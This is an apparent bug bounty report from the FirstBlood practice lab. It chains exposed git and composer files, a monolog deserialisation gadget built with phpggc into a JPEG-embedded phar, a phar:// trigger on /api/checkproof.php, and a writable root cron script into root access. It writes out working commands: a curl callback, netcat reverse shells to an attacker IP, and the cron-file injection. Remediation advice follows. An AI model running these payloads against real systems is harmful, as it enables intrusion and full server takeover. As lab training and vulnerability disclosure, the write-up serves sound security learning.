FirstBlood-#675PrivEsc to root user on firstblood through deserialisation aided by unintended disclosure of composer installation
This issue was discovered on FirstBlood v2



On 2021-10-27, eliee Level 7 reported:

Summary

A malicious party can escalate their privileges to root by combining pieces of knowledge found throughout the website.

The route to root

The initial disclosure

A scan using ffuf reveals that there are some GIT related files left in the root of the server. These are

.gitignore
.gitattributes

.gitignore lets us know there is a file and a directory that should not be git-commited: include/config.php and vendor/. Since config.php is a php-file, it is of little use.

vendor

Seems like we might have ourselves a composer installation on the server. A quick request to vendor/composer/installed.json confirms this:

{
    "packages": [
        {
            "name": "monolog/monolog",
            "version": "2.1.1",
            "version_normalized": "2.1.1.0",
            "source": {
                "type": "git",
                "url": "https://github.com/Seldaek/monolog.git",
                "reference": "f9eee5cec93dfb313a38b6b288741e84e53f02d5"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/Seldaek/monolog/zipball/f9eee5cec93dfb313a38b6b288741e84e53f02d5",
                "reference": "f9eee5cec93dfb313a38b6b288741e84e53f02d5",
                "shasum": ""
            },
            "require": {
                "php": ">=7.2",
                "psr/log": "^1.0.1"
            },
            "provide": {
                "psr/log-implementation": "1.0.0"
            },
            "require-dev": {
                "aws/aws-sdk-php": "^2.4.9 || ^3.0",
                "doctrine/couchdb": "~1.0@dev",
                "elasticsearch/elasticsearch": "^6.0",
                "graylog2/gelf-php": "^1.4.2",
                "php-amqplib/php-amqplib": "~2.4",
                "php-console/php-console": "^3.1.3",
                "php-parallel-lint/php-parallel-lint": "^1.0",
                "phpspec/prophecy": "^1.6.1",
                "phpunit/phpunit": "^8.5",
                "predis/predis": "^1.1",
                "rollbar/rollbar": "^1.3",
                "ruflin/elastica": ">=0.90 <3.0",
                "swiftmailer/swiftmailer": "^5.3|^6.0"
            },
            "suggest": {
                "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB",
                "doctrine/couchdb": "Allow sending log messages to a CouchDB server",
                "elasticsearch/elasticsearch": "Allow sending log messages to an Elasticsearch server via official client",
                "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)",
                "ext-mbstring": "Allow to work properly with unicode symbols",
                "ext-mongodb": "Allow sending log messages to a MongoDB server (via driver)",
                "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server",
                "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)",
                "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib",
                "php-console/php-console": "Allow sending log messages to Google Chrome",
                "rollbar/rollbar": "Allow sending log messages to Rollbar",
                "ruflin/elastica": "Allow sending log messages to an Elastic Search server"
            },
            "time": "2020-07-23T08:41:23+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "2.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Monolog\\": "src/Monolog"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Jordi Boggiano",
                    "email": "[email protected]",
                    "homepage": "http://seld.be"
                }
            ],
            "description": "Sends your logs to files, sockets, inboxes, databases and various web services",
            "homepage": "http://github.com/Seldaek/monolog",
            "keywords": [
                "log",
                "logging",
                "psr-3"
            ],
            "support": {
                "issues": "https://github.com/Seldaek/monolog/issues",
                "source": "https://github.com/Seldaek/monolog/tree/2.1.1"
            },
            "funding": [
                {
                    "url": "https://github.com/Seldaek",
                    "type": "github"
                },
                {
                    "url": "https://tidelift.com/funding/github/packagist/monolog/monolog",
                    "type": "tidelift"
                }
            ],
            "install-path": "../monolog/monolog"
        },
        {
            "name": "psr/log",
            "version": "1.1.4",
            "version_normalized": "1.1.4.0",
            "source": {
                "type": "git",
                "url": "https://github.com/php-fig/log.git",
                "reference": "d49695b909c3b7628b6289db5479a1c204601f11"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11",
                "reference": "d49695b909c3b7628b6289db5479a1c204601f11",
                "shasum": ""
            },
            "require": {
                "php": ">=5.3.0"
            },
            "time": "2021-05-03T11:20:27+00:00",
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.1.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Psr\\Log\\": "Psr/Log/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage": "https://www.php-fig.org/"
                }
            ],
            "description": "Common interface for logging libraries",
            "homepage": "https://github.com/php-fig/log",
            "keywords": [
                "log",
                "psr",
                "psr-3"
            ],
            "support": {
                "source": "https://github.com/php-fig/log/tree/1.1.4"
            },
            "install-path": "../psr/log"
        }
    ],
    "dev": true,
    "dev-package-names": []
}

This discloses one library of particular interest: monolog. Searching through the internet reveals there are several ways to achieve remote code execution through deserialization with monolog.

There is even a neat tool called phpggc available to build custom objects for the flaw in monolog. Before that though, we need an insertion point - the search is on!

Cookies cookies cookies! But no monster...

Browsing through the site, we come across a total of three cookies (and one value in the session storage): drps, doctorAuthed, and vaccination_manager. Of these, only doctorAuthed seems to hold any value of interest - a Base64 encoded JSON object:

{"doctorAuth":authed}

Several attempts to inject into doctorAuthed render in nothing. No matter how malformed the object, no page seems to react - not even with proper objects with differing values. Seems we have no monster that will deserialize any payload for us...

Some input somewhere gotta do the trick...

As seen in the discord channel, I whine about not knowing where to look for the insertion point. Some (understatement) browsing later, it finally dawns on me that the new vaccination proof upload system must be the initial vector for insertion, with the endpoint /api/checkproof.php being the executor. Several other sources in the channel (@ShreKy, @isitbug confirm that the image upload is the initial vector after a sanity check). Now to figure out a payload that works.

So the final two endpoints that are of interest to us in achieving code execution is /vaccination-manager/pub/submit-vaccination-proof.php and /api/checkproof.php. The latter takes a file path through a parameter named proof but more on this later.

Intense reading of disclosed reports and how to execute image files as php code commences

The exploit

Any attempt to upload anything but an image is met by an error telling me the file must be an image (surprise!). As such, we won't be able to upload any easily executable file like .sh or .php. Some tests later reveal that we can circumvent the check by simply inserting GIF8 at the start of the file data, but this does little to enable execution.

The research from the previous step opens another path - embed a phar container in the meta-data of a JPEG file. A further look into this also shows thath phpggc has built in support for integrating any payload into a JPEG file. phpggc can be cloned from github here https://github.com/ambionics/phpggc and comes with detailed instructions.

My first payload looked like this:

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 -pj exploit.jpg -o realsploit.jpg system "/usr/bin/curl https://collaburlgoeshere?rcemonolog"

What this does is it creates a serialized object that, upon deserialization, will execute system('/usr/bin/curl https://collaburlgoeshere?rcemonolog') and let us know that the payload fired. The serialized object is then inserted into the meta-data of exploit.jpg and written to realsploit.jpg which can be uploaded through the vaccine proof upload page.

Simply upload the file won't do anything interesting, but if we utilize /api/checkproof.php we can get it to run. Make a note of the name of the uploaded file as displayed in the bottom of the source code of the landing page after uploading - it will look something like /app/firstblood/upload/HASH.jpg.

Execute!

Execution turned out to be fairly simple - /api/checkproof.php takes a single parameter proof which looks like a path on the filesystem. This means we can probably change what protocol is used to load the file, and since our payload is a phar-container we need it to be phar://.

Let's create a request the executes our file as a phar-container.

GET /api/checkproof.php?proof=phar:%2f%2f/app/firstblood/upload/HASHOFFILE.jpg HTTP/1.1
Host: 47dbca627608-eliee.a.firstbloodhackers.com
User-Agent: rootplz
Connection: close

Send the request along and we should get a ping to our collab (or private server, whichever used) like:

Method  File            Timestamp                   Query            Body       IP
GET         test.php    2021-10-27 08:28:51 rcemonolog                      178.62.62.31

Bingo, RCE.

We can't stop here, this is Missouri

Well, why stop here? Normally, any further exploitation would be a no-go. However, @hairywookie said to root the server if we had to so why stop?

First of, lets change the payload to a reverse shell.

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 -pj exploit.jpg -o realsploit.jpg system "mkfifo /tmp/f; nc youripgoeshere 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f"

On your server/box, in a console run

nc -lvnp 4444

Repeat the steps of uploading and executing the payload and you should get this in your console

listening on [any] 4444 ...
connect to [redacted] from (UNKNOWN) [178.62.62.31] 37682

Ding, shell get! Let's see who we are:

whoami
fb-exec

No fun privileges, but inspecting the root of firstblood reveals scheduler.php which contains some interesting code:

<?php
http_response_code(404);

/*
Tell Raymond on the server team to turn off the crontab until we need it
-Patrice
*/

//file_put_contents('/root/schedule.log', sprintf("[%s] I'm alive!", date('Y-m-d H:i:s')), FILE_APPEND);

Become the authorities to avoid being sued

Seems like there is some interesting cron-action going on in the background. Let's find out what:

ls /etc/cron.d
firstblood php

cat /etc/cron.d/firstblood
* * * * * root cd /app/firstblood && php scheduler.php >> /dev/null 2>&1

Seems the scheduler.php file in /app/firstblood is executed every minute as root. Can we add something malicious to it though?

ls -al /app/firstblood | grep sche
-rw-rw-r-x 1 root fb-exec     319 Oct 27 09:16 scheduler.php

Turns out we can! Lets have it call up our listening socket:

echo 'system("mkfifo /tmp/f; nc 81.235.37.242 4444 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f");' >> /app/firstblood/scheduler.php

Exit out of the reverse shell and open a new listener:

nc -lvnp 4444

Once the new connection comes through, run whoami:

whoami
root

Boom, we're root.

Impact

Your server? You mean, my server?

Remediation

There a couple of things that should be done initially to make it more difficult for the hackers.

  1. Ensure composer installations are not accessible through the browser to avoid disclosing what software is used
  2. Remove or restrict access to any git-related files as these will almost always disclose information best kept private

On top of that, the proof parameter on /api/checkproof.php should be sanitized - remove file protocols, slashes etc - and locked to the upload directory to prevent access to other files. Furthermore, if phar isn't used anywhere the protocol should be disabled altogether.

Additionally, purging meta-data from uploaded files is an additional step that can be taken to further mitigate risk.

Another thing to mention is that things that don't require root (looking at you, scheduler.php) should never be run with root privileges.

P1 CRITICAL

This report contains multiple vulnerabilities:

  • Deserialization
  • RCE
  • Information leak/disclosure


FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

FirstBlood ID: 35
Vulnerability Type: RCE

A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.

FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.

Report Feedback

@zseano

Creator & Administrator


Absolutely beautiful report! :-) Amazing from start to finish explaining how you went step by step. Great job!!